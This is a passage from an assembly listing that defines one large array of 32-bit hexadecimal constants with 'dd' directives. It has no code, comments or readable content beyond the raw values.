21736B6Ah dd 1444DC92h, 0D1DF70F6h, 7D232600h, 5EBFCB0h, 0A87CE35Dh dd 93CC208Ch, 693BBD82h, 66E018EDh, 88F88D41h, 0D73E2CA6h dd 21300AFh, 6A053C59h, 0E44400DCh, 0CFA227BAh, 0E90C80EEh dd 606E23ECh, 4971603Bh, 0D69B7E1Dh, 0FC001E77h, 7CE6B062h dd 0C4F2F161h, 0C8FDF961h, 0F9C0B25Ch, 286FED4Bh, 18649063h dd 5168DD76h, 12006B16h, 58667478h, 7FF1AE0Bh, 0D3141840h dd 7A96F175h, 0EF6C0D01h, 95188BDAh, 17202C8h, 6FB34A09h dd 487C66B8h, 9701EA80h, 0F2C1BA61h, 94591519h, 15280F4h dd 7807BB8Fh, 8374D676h, 0F3F98189h, 4EB90353h, 79809F7Bh dd 69DFB111h, 7D6D6B0Ah, 10A44DD0h, 916FE9D0h, 1F308C67h dd 14EAA687h, 0A018C300h, 8F84EEEh, 69586FECh, 4160100Ch dd 0C7F21D08h, 0D1DD838Ah, 0C4F095CAh, 0B4380E18h, 306B326Fh dd 0A8C49BBAh, 7632FD94h, 0BDC40CFCh, 0F7F88612h, 6A84ED54h dd 140AC9B0h, 0C4DD5FA9h, 0B56BEC0Fh, 76E22E8h, 1089EE6h dd 8012511Ch, 976450E8h, 31DF911h, 0B0C16A3Bh, 0E6A65198h dd 92951830h, 6FF9FBD0h, 0DEF2BC4Ch, 0F4B0659h, 7D78E15Fh dd 0A43B4E2Ch, 0B17AFE07h, 1882F570h, 7F8326F1h, 83E1378h dd 8D8C6B8Ch, 1449F3h, 47748035h, 0C995FFA3h, 0D7B8F0Fh dd 0EE62A34Ch, 4A290C07h, 3671640Eh, 7265CC00h, 7A7D559Dh dd 0C58A071Eh, 6B301h, 501D0B1Ah, 0A6F0DF00h, 5D08254Bh dd 12809811h, 21F4F915h, 250F0360h, 2024D0D0h, 7840DD83h dd 0E1500E07h, 4856678Dh, 91F95623h, 300B2A00h, 38A28517h dd 0B80D01F0h, 5C1FBCEEh, 1B882004h, 0A6752A3Eh, 0D9404410h dd 342B035Eh, 606C49D6h, 0D7762F90h, 0FE6B7244h, 2C89C078h dd 9722B7BBh, 9A0916EAh, 187AB371h, 0C05D1060h, 2ED66361h dd 0B804FA48h, 3CEC51C2h, 3FBCE481h, 7E470C20h, 0E0A48Dh dd 0BA7DC06Eh, 1464ACE1h, 0DCBBF007h, 5DC48F9Eh, 6F3CEC81h dd 45CE9187h, 0DCD36097h, 1F0116E2h, 0F0DBB7F7h, 0B02E4ED2h dd 0B4582BB0h, 69FC1168h, 72F0611Eh, 54A0E3C9h, 38D4C7Dh dd 99F99612h, 38C40109h, 54D215E4h, 428070h, 5BFE96E5h dd 3B115C7Dh, 909BDE37h, 98206555h, 7BFA2E2h, 2D5A6130h dd 0E0F1B710h, 0AB3379ECh, 0FC52E501h, 20E455D0h, 603C1D8h dd 0D3714A5Eh, 397C6974h, 0B4A22800h, 0A78C221Ah, 0CBED38F3h dd 54F0E005h, 44D41460h, 3C075B22h, 6DD09A2Dh, 407AF6A2h dd 28C1C201h, 3EA0154Ah, 9C4CE862h, 4F58FE84h, 0E0B9FB61h dd 93EFC73h, 477DEBA3h, 9EB308B1h, 79C3AD6Ch, 71D395h dd 0DC4854A9h, 0F732987Dh, 0E649E27Ah, 0C089308h, 9E168271h dd 0FC4EB3D7h, 801C3A58h, 76D24A69h, 4E9831h, 87916C3Ch dd 8394B8EBh, 0C3EEFB02h, 808CB3C1h, 0D8AD1D64h, 0DA300051h dd 43E61E5h, 0F0C9F0B4h, 277C044Ch, 0E0275922h, 85B85A20h dd 0EBD3312Dh, 374B97C9h, 74A42CE0h, 0A6D1F60h, 8FB10185h dd 0E334915Fh, 0D8DC304Bh, 0AC235B40h, 179086CCh, 121D750h dd 3047535Ah, 0BA7BE488h, 0B9E6F0B0h, 0A4DD9413h, 81586008h dd 0E699FBB1h, 13E03053h, 780EC1D2h, 0F91B91F5h, 0D2C061F7h dd 9849C292h, 3C89E0h, 0B3342DD4h, 0C87C4CF8h, 226CF311h dd 3D5A076Dh, 0A0A15DDDh, 0D3ABA85Ch, 72003899h, 1C586B65h dd 0F729131Ah, 154C30F4h, 0D5677541h, 92A952B1h, 11500048h dd 2473A5A3h, 11CCFAF3h, 3DE603DAh, 402DCD8h, 0F4A2748h dd 5FFD4062h, 64898Bh, 642DD10h, 0FEE7F05Eh, 766AA112h dd 1286C88h, 8FBA9743h, 504FB99Eh, 4DC37E3Ch, 5321D317h dd 89EB1408h, 0BCB026DFh, 3300F750h, 0B9C4D8Ch, 0A1983B84h dd 0D311FFB0h, 3A411087h, 0BA6C00F1h, 31F7E11Ch, 13055192h dd 0ACB13EADh, 726A8C61h, 0E8789432h, 0EFF924A6h, 13B2433Ch dd 1BA925A8h, 0D3324B7Ah, 448DD164h, 38E70068h, 4EA8BC1Ah dd 64EE0342h, 0CC9093FCh, 0E0681728h, 54AC74B0h, 248BC958h dd 6B676470h, 98E0518Dh, 92D60FBAh, 0EA9E460Eh, 1E0A0114h dd 158E8D17h, 0C151E04Bh, 2E58F33Bh, 0FA608871h, 155605h dd 36C92411h, 133129DBh, 4450AC2Eh, 21F123C6h, 0BC005AFBh dd 4D5BD46Eh, 0EBB0A0DFh, 0FAF98805h, 3B296764h, 3F4500C8h dd 0C780A978h, 287CE403h, 6B1FC11Ch, 965244E0h, 53308802h dd 627CE07Dh, 51FB60F3h, 9D09754Ah, 8C84D25Ch, 412C628h dd 4B1C1710h, 223C8A3Ch, 72A9005Ch, 0E68EF7BBh, 0A4289369h dd 8313CA14h, 0D0767498h, 22D24A68h, 92137894h, 59F0E4DBh dd 38D4E47Dh, 3C1EE509h, 127D9425h, 60C917E8h, 0C455B978h dd 3334A925h, 5FD40EB8h, 2C445ABEh, 483CC24Fh, 7CC81025h dd 72D00058h, 4CF21FFCh, 961728BEh, 3D008DD8h, 714F3CFAh dd 69F529F9h, 76811BCh, 512B1862h, 0ED4BE850h, 0D3BD05B6h dd 80E78B7Bh, 2620C99Fh, 736B2312h, 90100C22h, 1C1F3A0h dd 6A743A5Ah, 425713B1h, 0CAC8D4h, 0C3F47440h, 80D1DE24h dd 0B4B4350Fh, 8C998270h, 20A4AFF5h, 50513893h, 34CD0044h dd 0D98C97Fh, 2E0C8764h, 818BD3F5h, 0BEA5000Fh, 0E707634Eh dd 5B03C730h, 41B35390h, 33A1B709h, 0FC26FE45h, 0CA407C2Eh dd 1F41148h, 0B3D39C4Ah, 0BAF0E89Dh, 224094AAh, 0D94E0038h dd 0EE650CAEh, 2CFCBB49h, 7C3BE771h, 253B8051h, 0F0D094D2h dd 55C20D7h, 748053h, 0DD48A115h, 48E4B86h, 0F1F9C134h dd 2B38461h, 612F644h, 6600E851h, 696755E7h, 0C4AC94FCh dd 10C0984Ah, 95804894h, 0A8386569h, 43FF004Fh, 8C8D0627h dd 6001826Dh, 0BA7A8EA9h, 0C20DC1Fh, 30CC983Fh, 0DD7189D3h dd 0E071EBDFh, 90B75100h, 0E3564422h, 0AE8F0071h, 0B3370A5Dh dd 62666C6Fh, 0B0399F78h, 5010F580h, 1F07E3EBh, 0BA02C9A1h dd 0D94A44F1h, 11758E80h, 0FF94BB4h, 20F60D13h, 5DB1BC91h dd 0D8206E12h, 0E241BFFh, 0A5CF78B3h, 61486097h, 99F7EDh dd 0BF9010A5h, 5E2D1402h dd 3B00B46Dh, 0B340C45Ah, 6E0BA813h, 11706B42h, 0BC6210D0h dd 0D1352E01h, 33153CE9h, 39440080h, 960FA082h, 7AB801CDh dd 0A88AA32Bh, 0C6DC2C3Fh, 7495A10h, 0EBFAE992h, 982ED563h dd 64948010h, 6C077411h, 0A57A1EC6h, 10C85DE6h, 94DF2C4Eh dd 1E4A29C0h, 4EF14B62h, 4CC750B8h, 31346015h, 974FC802h dd 16791420h, 88370017h, 0E104074Bh, 0E7041CECh, 5C186A15h dd 7022D0B7h, 5B715409h, 0FA010042h, 0B3B1D8FDh, 8C6B8870h dd 643C92A6h, 0A4888D39h, 57D0F43h, 0DC41E2F2h, 2BD6086h dd 758C40E3h, 0C47848C2h, 9E0C8C56h, 0D941F18Ch, 1EB92F02h dd 0C878C8A1h, 582012D4h, 3A01645Eh, 8D09F86Ch, 243180FDh dd 6080B931h, 61A10017h, 0C818FB8Bh, 497A0F5Dh, 2D56947Fh dd 0CED459D4h, 442CD6F9h, 0BA9B00C3h, 8761B955h, 6E0082DBh dd 5375BFB3h, 0BA7AAC08h, 0D9F400E0h, 0A3273ECFh, 0B4099037h dd 85B3C554h, 0DCCC7B80h, 8ADC5CC2h, 0E0447F2Ch, 59F2F929h dd 0E6514CB4h, 3100E823h, 87638C8Eh, 650061AFh, 11EF171h dd 1C5F2F6h, 20E154Eh, 60C681B7h, 0B28868ACh, 81109C8Ch dd 145743CFh, 0DF7361DDh, 0AF33B1F8h, 4D655109h, 6C083915h dd 2E20E010h, 5A84FE00h, 504BE93Dh, 0FDA41247h, 6D0C71D5h dd 44E1087Eh, 0E2598174h, 7879111Ch, 0EE622009h, 0F7434464h dd 5608F123h, 0B4733E9Dh, 192C42D8h, 30127451h, 0B3EC88h dd 0C815FB63h, 588A52D8h, 0FEA49B2Eh, 71649125h, 0ECB31F08h dd 0CA68E214h, 6C2C1478h, 9C20D397h, 0ED74BA2h, 58F22C56h dd 0ED4A7B60h, 0F8AA736Fh, 0DA0B0446h, 17DF54Dh, 0B2976B7Eh dd 13F2A021h, 152775DAh, 6CB43A52h, 0B2BE0270h, 3C07CFF5h dd 5A0410E4h, 21E61A89h, 65CC6CC0h, 0D8F853C6h, 2300BD39h dd 0A3193A2Fh, 2005796Dh, 8F46DEE8h, 9E8C8498h, 0FBE8078h dd 9C0EFE94h, 0DADBE70Bh, 245C94F4h, 5C44782h, 88FBBA32h dd 17887E8Ch, 2D3E053Dh, 8C06F9Fh, 10A566DCh, 12FCB34h dd 51E3B3E8h, 621B5DB6h, 326B808Ch, 94188Fh, 960DB369h dd 0F98AD9F5h, 6855F824h, 0A0F67D44h, 0C1E8802Ch, 0F4B9F4B2h dd 26057997h, 0CE330B9Dh, 5D1024A3h, 0D8205AC2h, 7FCF62h dd 41D6D80Eh, 831192FBh, 0C0069B26h, 8C32C4h, 0A05100A1h dd 0DB0CD6FDh, 1C99E29Bh, 6DE80481h, 53D049C5h, 0CD6000ADh dd 0EC998D78h, 0D1D56DDh, 0A185DEBCh, 0B4FEF9h, 97018C47h dd 33F9ABD3h, 24291926h, 0E4C17D89h, 648823EDh, 7D4959D8h dd 5364A804h, 0A4C0830h, 33910083h, 0F484B12Eh, 802906F0h dd 4A40C42Dh, 2BD1CF1h, 2D0DF886h, 1451964Bh, 0CF98E700h dd 1C991BC5h, 81DF2186h, 23288DB7h, 0F148EC12h, 9CD39D01h dd 14B3FCAAh, 9C507CD9h, 0CD460Ah, 71BAB75Eh, 160D3823h dd 7901F09Ah, 0AFDD9D1Ah, 0CC26224Bh, 150EDF23h, 939C34F9h dd 623C6C91h, 7E00A1BCh, 966456F3h, 0CBE687BEh, 0BBF51900h dd 5D598F3Dh, 73C12614h, 25711D0h, 23B8D61Fh, 1884F88Bh dd 51D4D776h, 0EE7CF916h, 0A4B6DB90h, 149BED85h, 706A9C70h dd 3021D28Dh, 0CF3613DCh, 0D49E1100h, 3752BEFBh, 658012AAh dd 0DBC4061h, 95C45351h, 0DD76DF13h, 0C8989C34h, 8EF58B2h dd 69036322h, 2272AC49h, 0BC25A843h, 76140792h, 0B4532788h dd 4CB0F6B4h, 0FE3B7A54h, 88ABA403h, 61F5F986h, 8000B151h dd 0D37B6610h, 5912CD95h, 688751F8h, 0FE9C1149h, 94DFBB10h dd 0F5752400h, 0BCA63CF6h, 205A00F2h, 0BB2DCD9h, 0D8486312h dd 64D2A230h, 0B74F031Ch, 74720E24h, 19887430h, 65C332h dd 15F05A12h, 294BE4F8h, 0A29D6901h, 0B138868Ch, 98E0430h dd 0F513C703h, 8851A03Ah, 23EC970Fh, 88AFE5E0h, 0FA441907h dd 0C0A0B40Ch, 69AAD3CCh, 7093AC01h, 9648F649h, 85C02878h dd 2D61D373h, 88529E01h, 1AE88925h, 3C2C0C61h, 0F6F9A00Bh dd 20FC641Bh, 51D7EF4Bh, 9432A04Dh, 554FE088h, 18958B94h dd 0E073DCh, 0A2E62BEAh, 400D17A3h, 965B8A07h, 9177DCB1h dd 7BB5C842h, 0A8112570h, 148170C7h, 0B2563Bh, 0E08D7EB6h dd 5A7A415h, 971E4BBEh, 0B3ACB43Ah, 0B074DFF6h, 0C4044E00h dd 0B240D476h, 97452D26h, 422CDC31h, 1041DF80h, 64C01449h dd 16F4B92Eh, 98419DCDh, 0A2909EA8h, 13BF1107h, 0E4691FE5h dd 4284B038h, 45F6386Eh, 7E0C4Ch, 0C391FFBEh, 0F06CDE6Eh dd 8601E1EAh, 9E5F06F9h, 0C068DF69h, 7F9E87C8h, 0B15F98C7h dd 0BB6FBAC3h, 0AF0EE024h, 0B8B4F2C4h, 4344B650h, 0C69055D2h dd 0F6004199h, 589A5C32h, 2C9085DCh, 870DE3Dh, 38269E12h dd 5A45B007h, 0F0A86124h, 219C3F83h, 2A03E7F0h, 0C010B758h dd 0FB6F3CCBh, 0E3E50036h, 75724D61h, 5AEA1D67h, 301F9E25h dd 60D33110h, 0CB3BC976h, 1701B491h, 53E96A5h, 0E0C0DCFEh dd 5CBAF7B1h, 244C06BFh, 161F7122h, 31EF4174h, 0F51261D0h dd 50FA760h, 0AF6FE100h, 0D794ED1Fh, 0F082581Ch, 998BFBC0h dd 0E7271002h, 0EEA031C1h, 0F4594463h, 7145723Eh, 0DB98C47Ch dd 91AF027h, 597C8434h, 2075614Eh, 3681B84Dh, 2869FBF9h dd 83F48864h, 519C7441h, 0D29847C3h, 8B07EE25h, 7C1D90F0h dd 7834F1E0h, 891E3A0Ah, 26457900h, 0D2957AA3h, 0FAEF0903h dd 0EB6F7506h, 90300024h, 9EF680C5h, 510FEE0Dh, 0A075ED8Fh dd 9BB0A219h, 330DB091h, 7961A1EFh, 940039EEh, 38FF76C9h dd 61EA9Eh, 3185A08Fh, 0CBDE23Dh, 8EFC6D00h, 0EF423E4Fh dd 78256029h, 7383B6E3h, 0E8A8B0C0h, 91C0D9h, 26359D9Ch dd 75E3A03Ah, 0C9465CA4h, 88999F0Ch, 0F5378B41h, 98C49996h dd 0A47B035Fh, 11092379h, 60A2B601h, 0F15EBF3h, 96735305h dd 2749B07Fh, 7C00837Bh, 0D4E2E816h, 0E64523h, 69ACAF96h dd 4C1CB1DCh, 0B6FF3C00h, 6F74F8BDh, 0A2C0F590h, 6980C293h dd 8D2F2413h, 7BF0590Bh, 192D6079h, 36FCD6F7h, 5AF8000h dd 30E4B067h, 545800F1h, 1E399B5h, 0C606A8DBh, 15793181h dd 28B20039h, 9EF31A6Dh, 3500309Ch, 0C726A9ADh, 0A89DED8Bh dd 451BF080h, 1112E00Ah, 3AD0B500h, 5B31CBF1h, 1358C0B7h dd 0A16D844Ah, 3D9DF200h, 8DBC57C8h, 0A21D1E12h, 228941E6h dd 8ACEA8Bh, 0D18A60B4h, 9A6BDF4Ch, 7F66D00h, 0D8EAE7A3h dd 0ACA105FEh, 3041BEFh, 91F01340h, 80644ADFh, 2572B1CAh dd 0D606A9AFh, 12DD3DB9h, 144C0CA0h, 0FF291778h, 83612300h dd 95E0441Ah, 0ED083CFDh, 918167BAh, 5D1FB9A0h, 0E001F4F1h dd 821E680Eh, 0C6B1F88Ah, 29CE3A3Ah, 8900A857h, 373E5235h dd 716065C9h, 167E77A9h, 50EF03B7h, 0A9BF7B2Dh, 8C6FC601h dd 0CA0E019Ah, 0B5E69C50h, 9584A98Bh, 4920D8F1h, 6D4009DEh dd 2C80F1EFh, 67237BF3h, 0D9983332h, 20A44078h, 9BF4889Ch dd 6EE8F089h, 0C4110041h, 5FF57912h, 1512B1DDh, 7C0394A6h dd 72646563h, 988A1EA9h, 8B5AC0F5h, 0C33CFE47h, 93446100h dd 900BEE68h, 0E6782981h, 0DAF880B8h, 37A02134h, 0CC4824E6h dd 0A38AC604h, 0FEB83C89h, 67103800h, 0CDE0610Bh, 0B2660D00h dd 6C7E6ECCh, 0E7450630h, 98B63715h, 84A88CE6h, 0CC0E9331h dd 80B5ABBFh, 0AA7584F2h, 440309CFh, 0C424AD85h, 78AF441Ch dd 5DF8DE80h, 0DD470EE0h, 6182FC09h, 9484CCF1h, 0A9ED2124h dd 80317911h, 0A437BB41h, 984D97h, 448C508h, 842607EDh dd 3E34C102h, 0B844378Fh dd 87F0FCh, 549298C7h, 2D113634h, 0F812D61Dh, 869FCB80h dd 4924DC3Dh, 78C660E9h, 9200792Eh, 0C3E4CD28h, 0BBC2ABh dd 2CE71872h, 4BF8F422h, 6B65B018h, 96D139h, 89B5D6F2h dd 0E96C5AA1h, 872C3D49h, 0A0EA9C9Fh, 396C658Ch, 0CA8F0025h dd 0EC7F68D5h, 0B8A6E6B1h, 0F38B3D12h, 6C8C1C24h, 0E2E10135h dd 8B67655Dh, 8021BAA4h, 0E6FB53C5h, 0EDADC5Ch, 8F11AFBDh dd 6DCA0380h, 42458C3h, 8B9250FDh, 242A9C20h, 0CAD304F6h dd 97C80196h, 4C1737ACh, 0E49BD271h, 81B6D604h, 10C69940h dd 0B02DEC5h, 0E0496D77h, 0E84479h, 0D3B3C8FDh, 932AEB1Dh dd 78F65F13h, 363DF030h, 15A81384h, 0E94428A7h, 6F889144h dd 0F1B0CCh, 7718C24Ah, 86ED78h, 0B4CB3019h, 109914C0h dd 0F05A2B00h, 0E528EF05h, 90714C7Dh, 789D3B06h, 0DE009930h dd 938AE79Eh, 278422h, 3CD25625h, 73B4E64Fh, 3AB6F401h dd 12D566E0h, 4015A2F8h, 7E01C25Ch, 55F007F8h, 0F059C541h dd 752A68B8h, 83F406ECh, 116564FAh, 72396604h, 0C3BE9E3Eh dd 58E1F89Bh, 0FE053083h, 840DA804h, 98DDE7h, 80A492C9h dd 0EAF35Ch, 782B97B9h, 0BE9864Dh, 386EFB00h, 0F19CF3Dh dd 0A81B48DAh, 65301822h, 9DF68168h, 83B9001Eh, 0D509294h dd 0E34DAF67h, 8ADCC23Ch, 1774009Dh, 0AE006593h, 0D621BD03h dd 4191E7h, 5C8E4043h, 66B9F813h, 3D6FFB00h, 42FFAFFCh dd 9BA505FDh, 9B78DD8Dh, 7D9711E4h, 60797109h, 0A7E67402h dd 65112F11h, 0C8A1F0F7h, 83229600h, 54EA67A4h, 0CD07B99h dd 1311E094h, 0DC891CF0h, 71B749E4h, 20173069h, 2C449D49h dd 399FF104h, 10C3A43Bh, 0F2A2B973h, 1B3889B0h, 725465E3h dd 0DF05BF98h, 0C44DE680h, 842264CBh, 3BE5AF00h, 0A2BE8E5Fh dd 19E400EBh, 144A8B70h, 0FF26E010h, 0B4606420h, 0A6F06Dh dd 0DFFA7B8Bh, 5F8CD2EFh, 111943Ah, 53C3CEC8h, 0A045650Fh dd 8C24E09Ah, 42140788h, 92AD95ACh, 9C113888h, 6E815910h dd 0F901537Dh, 0C4E3AD58h, 6826CAE0h, 0F87BC300h, 57C2DAA3h dd 0D98FB630h, 174E055h, 420CED53h, 3CA6C103h, 5E5C01B6h dd 2BAB1019h, 0A1222C67h, 0C230B305h, 0F48008A3h, 2EE64640h dd 5C3EA88h, 9841D5C3h, 164C68B0h, 24C58934h, 0B1401878h dd 5A8812B7h, 0B4B80475h, 0F8BF8928h, 59BBC20h, 64DF578h dd 1D94018Fh, 0AB1FEE8Bh, 0B2923489h, 0DC647430h, 0E04F0168h dd 177F2E2h, 21682032h, 7615FA04h, 488643Dh, 0F27B0050h dd 1CAF9469h, 0EB049E3Bh, 0F16E5B9Ch, 0A1100CBh, 5EEE0276h dd 6C137398h, 0ECDC0F6Ch, 0D69E5Bh, 12AA8B1Dh, 7424ED8Fh dd 0A7601414h, 92F228h, 0DA321985h, 58BFB5B9h, 14EA1200h dd 5CDD2972h, 0FF1C2633h, 0F1844F38h, 0D47CC23Dh, 0F2C41829h dd 0B64400F3h, 0F8CF2102h, 0FC93C865h, 0A1226010h, 734A3F01h dd 8C1CA5Ch, 10E16C0h, 0D89EF1ECh, 2846ACA6h, 0FF409EA0h dd 82C1BBE5h, 3938385Ah, 64624500h, 0E8179ACh, 40A8F203h dd 39E8ADDh, 0D5CBB361h, 22902D6Dh, 9A00723Eh, 56D03F0Eh dd 789981E4h, 0A08B3047h, 3919BD31h, 34A6F91Eh, 0F5F74F40h dd 10DE242h, 8F8C1C25h, 64509592h, 4986EB1Ch, 0F0809CC5h dd 9FAE0742h, 13468C14h, 0F58B12BCh, 0D0070CAh, 0BA04BF81h dd 0F905E2C5h, 0BE0BF04Dh, 242C9082h, 4FA9C013h, 6C965E30h dd 0B150E840h, 0E1A313D8h, 0D31C712Dh, 7470A43Dh, 80F458h dd 0B96AD185h, 0BCA6AD3Fh, 0B8F02600h, 847C9B8Bh, 735CB8EAh dd 8C5305FCh, 206A061Ch, 0FAD011FCh, 132A5248h, 888F18Bh dd 0ED71093Ch, 54323E63h, 0C004C51h, 3617E33Bh, 79EBFE5Bh dd 253402FAh, 651EB658h, 2C91D44Ch, 3E12D483h, 713DC07Eh dd 52990234h, 9D9F295Ah, 0E8428492h, 1400E06Eh, 0EADD2447h dd 2E545915h, 60249673h, 81977C0h, 978A8018h, 2E51639h dd 0ABEDDCA9h, 0F445F4B6h, 619C5610h, 60827811h, 1CE4E78Bh dd 0F91A7930h, 0FCF1B1h, 0AAD87F58h, 0BE52343h, 0E3F65D00h dd 71D3874h, 70894D7Ch, 0E4397A89h, 373ED17Eh, 0A33958h dd 8C808DBAh, 20EA22CEh, 0D04261BDh, 384C5043h, 0E9AF00DDh dd 3506CCC2h, 0EB425101h, 98F48BC1h, 227E7452h, 60C112DCh dd 6E8F0982h, 7292DA6Eh, 20A4F188h, 682264A0h, 0D2C4C175h dd 0B9E02030h, 67FC8C9Ch, 0B89C8CA1h, 60E5EF8Fh, 0D5CE044Ch dd 0E65E04F2h, 8A01FFD1h, 78C60078h, 260F710Ch, 3CF00C8Eh dd 3E516964h, 3884E3Ah, 0D8CB6CC1h, 67EEE02Eh, 242A0014h dd 3E61ECD5h, 31C06365h, 5D2B82DDh, 627A0021h, 22EFAB8Ah dd 32EE17D9h, 30641027h, 961F6878h, 1BCA888h, 679D6BC0h dd 2C99F159h, 98E2C0F0h, 0AA8C1A74h, 0FD1440E8h, 5034009Ch dd 0C4E923DCh, 0E4A112DDh, 74050FD4h, 8779C70Ch, 791B36F0h dd 0E3B2EA00h, 3C832E71h, 36B7023Ah, 6AA93068h, 1C867479h dd 0B9E96E05h, 38A701CCh, 272EB224h, 0EA122C4h, 51BC3945h dd 0FA5575A0h, 0ED01C1F1h, 3260F2BBh, 0BC244F3Ch, 7F89178h dd 90FB11EBh, 80C4766Bh, 91710E00h, 1C0894F6h, 9609E4E0h dd 1101BC84h, 0F60A16D3h, 69DC241Ah, 0A8CF3D88h, 3C3C0F44h dd 0FB809F9Ah, 0D834A37Dh, 3701AAD4h, 17CE9B82h, 7B703566h dd 62DB4A8Dh, 0D484CBA8h, 0E4C5401Eh, 2412209Fh, 0E2647B13h dd 852591E7h, 441F20DCh, 10B4B62Eh, 8DD03E86h, 401E018Eh dd 2F659862h, 94106966h, 99590511h, 44227DC7h, 0F08440C6h dd 0FDC488E4h, 4A81AC01h, 0E2F120AEh, 28833438h, 390F2279h dd 0C00E84CBh, 9E75E305h, 2869E63Bh, 44501C13h, 0F900D386h dd 2CCABDE7h, 486C0835h, 9DA2DC26h, 3384F020h, 1CCA3E1Eh dd 6AF0E926h, 4B86C964h, 3D48692Bh, 0F60C09Ch, 0E01504h dd 0E247577Fh, 7EC626A9h, 97643200h, 1AE3119Ah, 22C407D2h dd 0F46078DDh, 1488865h, 0A01C03F8h, 0D54535D1h, 84824027h dd 0EC982910h, 0D900292Eh, 0B24ACCCDh, 92B1783h, 0A2EE7BF8h dd 0B6DD0CB0h, 0C00E5C99h, 650A4098h, 0E89DF0B1h, 204A16D3h dd 55780099h, 1C5840F5h, 735B0722h, 96889669h, 35090B6h dd 4C006623h, 6A8F84C5h, 15C66FD7h, 0ACD3CD76h, 22A5EFC4h dd 0FC872B4h, 9978FB5Dh, 79CDEE20h, 0B51FD5EFh, 0B4ABD987h dd 0D8507A97h, 44DFF0ECh, 0B4B7042h, 5359768Fh, 0E8A26C02h dd 6D651C68h, 0FA15C9C0h, 7BE2736h, 0BA4B4973h, 0E9948A86h dd 92E85C03h, 65E7B100h, 34F19B07h, 87271305h, 9D24C8E9h dd 0F7C5F301h, 85661FB7h, 50D1202Ch, 128E3E03h, 75B0581Fh dd 31585570h, 85F6A06Ch, 59C4F7Bh, 0C8156914h, 4581C8Ch dd 121B9F58h, 882E499h, 0D07E240Ch, 0AB848CA0h, 0F8137124h dd 0F877D1C1h, 2CE0A9E9h, 0C0A4B6h, 84F94240h, 6F85FDA6h dd 77456204h, 24E6B8A1h, 8A8BF080h, 0FE3ACA8Fh, 919FB0DCh dd 359A415h, 76D716D0h, 0CF81E30h, 0EC242894h, 0C51270A0h dd 0E510F01Ch, 88969F17h, 4286EA2Ch, 0C46C4D97h, 0ACE4021Ch dd 23142F69h, 40A40013h, 51CDBA0Ch, 989F24A6h, 0F2DC4054h dd 560B7E61h, 461C0C9Ah, 0B454AC3Ch, 2AA74000h, 0FD00827Fh dd 9B430569h, 0BF291EEh, 5F9736D3h, 3D17D046h, 0D4238C74h dd 0F073CB77h, 1CEEF8E6h, 4A9A655h, 0C46F4425h, 0BF0C2C4h dd 23ED4091h, 0D4610028h, 0B8213B72h, 0EB110BFDh, 0DC915115h dd 0CEF0108Dh, 7F13035Eh dd 3B34EB72h, 9D618390h, 0DC7D2D0Bh, 6F943075h, 0C8F55C8Bh dd 68E8CD96h, 92E780CCh, 287508FAh, 44C89F76h, 0B548F0AEh dd 8EA58064h, 59626D9h, 0BEBA9F50h, 2E80B2BFh, 0EB0F2AE5h dd 0B66004Ch, 168DE43Eh, 72795F44h, 0A0D1712Ch, 41486000h dd 0D67051h, 0B576BA9Bh, 25EC65CFh, 0A999B30Eh, 3211C96Eh dd 0E05C2F98h, 179A44C4h, 746912F5h, 55342179h, 9D58242Fh dd 0E4175B01h, 1D688786h, 0C0DD5C62h, 49384A95h, 2305835Eh dd 1763F325h, 642610E6h, 1F91110Ch, 1B873589h, 0F4C5BF28h dd 468C0C09h, 20134A60h, 22A40B54h, 2FF4A13Ah, 302C0D3h dd 62E65A1Ah, 0E38C640h, 0B4330017h, 56D28288h, 507F8152h dd 0C789FE00h, 7783C9AAh, 879B299Fh, 7211ECh, 4A636954h dd 2595EF23h, 0A4A5FC01h, 12BDC09Fh, 7E2CBD11h, 30E5B0CDh dd 530024E2h, 225F4AFBh, 0E21F2605h, 0ED40FE9Ah, 9F696B8Bh dd 3C8F509Eh, 5D1886Ah, 1A93F901h, 0EE339AECh, 0EA0DF4h dd 3E3554C3h, 718E8D14h, 0B43C3495h, 979140h, 0CF2CD2E0h dd 0B8B60582h, 5349428Ch, 0CEE000DCh, 790B912Bh, 0A6180021h dd 0D20A89E5h, 6C13A0A8h, 0D0941F69h, 70F84A2h, 0DFEB9B59h dd 42C394B9h, 1480A094h, 0DA78F2E2h, 15689617h, 93854020h dd 513114C9h, 0CB3EF2DDh, 456B2C8h, 1E196808h, 0F152A8A4h dd 7E1E74h, 6B64D94Fh, 2B0027FDh, 0BF769826h, 229D4C7Ch dd 14122841h, 2CD1A39Fh, 6C38B306h, 8EC29B82h, 10036FCh dd 4C78721Bh, 7EFD02FFh, 63AE2F9Dh, 0FC20E0D0h, 0C7D49C9Bh dd 0F80C806Ch, 0D924CCCEh, 0F2479879h, 9EAF1330h, 7A3200E5h dd 5F4DA39Ch, 781E66C9h, 0B0A7FE87h, 887209CCh, 0D70B5BF3h dd 98A0DEA6h, 12E5E20h, 0CF4DEF70h, 0E8069BA9h, 2D25D02Bh dd 0E718B8D1h, 933A0266h, 1283EEACh, 759634D1h, 889268C8h dd 3A1F9F46h, 0AA89986Dh, 4184412h, 0E8892DF7h, 1414C229h dd 50E448CAh, 55A8D401h, 7F515659h, 30939C29h, 15DB178h dd 92FF3Eh, 0E30990CAh, 7680D499h, 0CF0C0497h, 0DDB17848h dd 9EB42C08h, 0A69C62C7h, 0CC5ADFA2h, 0FC1C2928h, 0F078009Ch dd 0AB81FDC8h, 4BFB3212h, 0F8300024h, 99C187h, 24DD41AFh dd 783BD0E5h, 0C7F40A00h, 0E994A7F7h, 8D7A1DF2h, 3EB7CCA5h dd 0D4BC40F8h, 0EE10AE60h, 951CBB58h, 880778C3h, 404B1A19h dd 0C9419062h, 52669B00h, 0C7A789Eh, 0D73B08DCh, 68C1857Dh dd 8382212h, 3E8EB882h, 8948804Ch, 487F24F4h, 659C3009h dd 896412F4h, 61BECCACh, 56F36E00h, 309E16F2h, 2B7E67h dd 1908AADEh, 71A0D9F8h, 740C535Ch, 0C0A99CB9h, 19589AA7h dd 0D0387E58h, 674448A6h, 9DF60714h, 0C401DF6Bh, 543CB9FFh dd 0C1D034A8h, 518C8930h, 85188B90h, 0F911E418h, 38AA8E00h dd 0AF4AE3ABh, 506D3D4Fh, 0CFC86480h, 3D5C0BE9h, 0D4A03728h dd 4B813301h, 0CAE58768h, 1AC83069h, 33310880h, 1E94D4Eh dd 0E4FF9C97h, 7D53F687h, 9A9D8408h, 0EB25DC41h, 7306DB4h dd 17B3F5Bh, 2F5140EEh, 70A680B7h, 25CE86Ch, 3114341Ch dd 0A4D8D725h, 78A88B72h, 0EC4A0196h, 111C6892h, 3CD419C9h dd 73A0435h, 